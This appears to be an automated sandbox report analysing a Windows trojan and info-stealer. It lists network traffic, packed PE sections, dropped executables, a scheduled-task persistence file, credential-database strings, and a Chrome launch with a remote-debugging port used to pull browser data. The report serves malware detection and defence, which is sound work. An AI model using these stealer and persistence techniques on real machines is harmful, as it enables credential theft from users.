Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51597
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51598
Source: unknown	Network traffic detected: HTTP traffic on port 62360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62249
Source: unknown	Network traffic detected: HTTP traffic on port 62279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62368

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:51580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:62412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:62428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:51899 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name:
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB3B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CADF280

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD35A0	0_2_6CAD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB334A0	0_2_6CB334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C4A0	0_2_6CB3C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16CF0	0_2_6CB16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD4E0	0_2_6CADD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE64C0	0_2_6CAE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD4D0	0_2_6CAFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4542B	0_2_6CB4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15C10	0_2_6CB15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22C10	0_2_6CB22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC00	0_2_6CB4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4545C	0_2_6CB4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5440	0_2_6CAE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB385F0	0_2_6CB385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10DD0	0_2_6CB10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00512	0_2_6CB00512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFD00	0_2_6CAEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFED10	0_2_6CAFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34EA0	0_2_6CB34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E680	0_2_6CB3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5E90	0_2_6CAF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB476E3	0_2_6CB476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBEF0	0_2_6CADBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFEF0	0_2_6CAEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39E30	0_2_6CB39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17E10	0_2_6CB17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25600	0_2_6CB25600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46E63	0_2_6CB46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC670	0_2_6CADC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB13E50	0_2_6CB13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4640	0_2_6CAF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22E4E	0_2_6CB22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E50	0_2_6CAF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB277A0	0_2_6CB277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06FF0	0_2_6CB06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADDFE0	0_2_6CADDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17710	0_2_6CB17710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9F00	0_2_6CAE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB060A0	0_2_6CB060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0E0	0_2_6CAFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB158E0	0_2_6CB158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB450C7	0_2_6CB450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B820	0_2_6CB1B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24820	0_2_6CB24820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE7810	0_2_6CAE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F070	0_2_6CB1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8850	0_2_6CAF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD850	0_2_6CAFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D9B0	0_2_6CB0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC9A0	0_2_6CADC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15190	0_2_6CB15190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32990	0_2_6CB32990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B970	0_2_6CB2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B170	0_2_6CB4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED960	0_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA940	0_2_6CAFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42AB0	0_2_6CB42AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD22A0	0_2_6CAD22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04AA0	0_2_6CB04AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAECAB0	0_2_6CAECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4BA90	0_2_6CB4BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1E2F0	0_2_6CB1E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1AF0	0_2_6CAF1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18AC0	0_2_6CB18AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19A60	0_2_6CB19A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF380	0_2_6CADF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB453C8	0_2_6CB453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D320	0_2_6CB1D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC370	0_2_6CAEC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5340	0_2_6CAD5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDECD0	0_2_6CBDECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7ECC0	0_2_6CB7ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC46C00	0_2_6CC46C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AC60	0_2_6CB8AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5AC30	0_2_6CC5AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84DB0	0_2_6CB84DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0CDC0	0_2_6CD0CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16D90	0_2_6CC16D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAAD50	0_2_6CCAAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4ED70	0_2_6CC4ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD08D20	0_2_6CD08D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20EC0	0_2_6CC20EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06E90	0_2_6CC06E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AEC0	0_2_6CB8AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1EE70	0_2_6CC1EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC60E20	0_2_6CC60E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EFB0	0_2_6CB8EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5EFF0	0_2_6CC5EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB80FE0	0_2_6CB80FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC8FB0	0_2_6CCC8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86F10	0_2_6CB86F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC42F70	0_2_6CC42F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0F20	0_2_6CCC0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEEF40	0_2_6CBEEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC868E0	0_2_6CC868E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC54840	0_2_6CC54840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD0820	0_2_6CBD0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A820	0_2_6CC0A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9C9E0	0_2_6CC9C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB49F0	0_2_6CBB49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC109A0	0_2_6CC109A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A9A0	0_2_6CC3A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC409B0	0_2_6CC409B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD6900	0_2_6CBD6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB8960	0_2_6CBB8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFEA80	0_2_6CBFEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2EA00	0_2_6CC2EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFCA70	0_2_6CBFCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC38A30	0_2_6CC38A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC86BE0	0_2_6CC86BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20BA0	0_2_6CC20BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A4D0	0_2_6CC1A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAA480	0_2_6CCAA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC64D0	0_2_6CBC64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4420	0_2_6CBE4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98460	0_2_6CB98460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A430	0_2_6CC0A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB745B0	0_2_6CB745B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A5E0	0_2_6CC4A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0E5F0	0_2_6CC0E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC84540	0_2_6CC84540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC8550	0_2_6CCC8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20570	0_2_6CC20570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE2560	0_2_6CBE2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD8540	0_2_6CBD8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E6E0	0_2_6CC1E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE6E0	0_2_6CBDE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA46D0	0_2_6CBA46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC650	0_2_6CBDC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA7D0	0_2_6CBAA7D0
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E878BB	22_2_00E878BB
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E88860	22_2_00E88860
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E87049	22_2_00E87049
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E831A8	22_2_00E831A8
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00F58101	22_2_00F58101
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E44B30	22_2_00E44B30
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E44DE0	22_2_00E44DE0
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E82D10	22_2_00E82D10
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E8779B	22_2_00E8779B
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E77F36	22_2_00E77F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C778BB	23_2_00C778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C77049	23_2_00C77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C78860	23_2_00C78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C731A8	23_2_00C731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C34B30	23_2_00C34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C34DE0	23_2_00C34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C72D10	23_2_00C72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C7779B	23_2_00C7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C67F36	23_2_00C67F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C778BB	24_2_00C778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C77049	24_2_00C77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C78860	24_2_00C78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C731A8	24_2_00C731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C34B30	24_2_00C34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C34DE0	24_2_00C34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C72D10	24_2_00C72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C7779B	24_2_00C7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C67F36	24_2_00C67F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C480C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C4DF80 appears 36 times
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: String function: 00E580C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD009D0 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB0CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA3620 appears 42 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA9B10 appears 35 times

Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2655235257.000000006CB62000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: mvlkjrdz ZLIB complexity 0.9947767618666056
Source: random[1].exe.0.dr	Static PE information: Section: mvlkjrdz ZLIB complexity 0.9947767618666056

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@89/247@35/19

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB37030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\329Q2QML.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\02533b41-b3dd-47cf-9cab-2d2d0f630af7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2316365983.000000001D595000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2394302597.000000001D589000.00000004.00000020.00020000.00000000.sdmp, CGIDGCGIEGDGDGDGHJKK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2648044779.000000001D696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2654763367.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
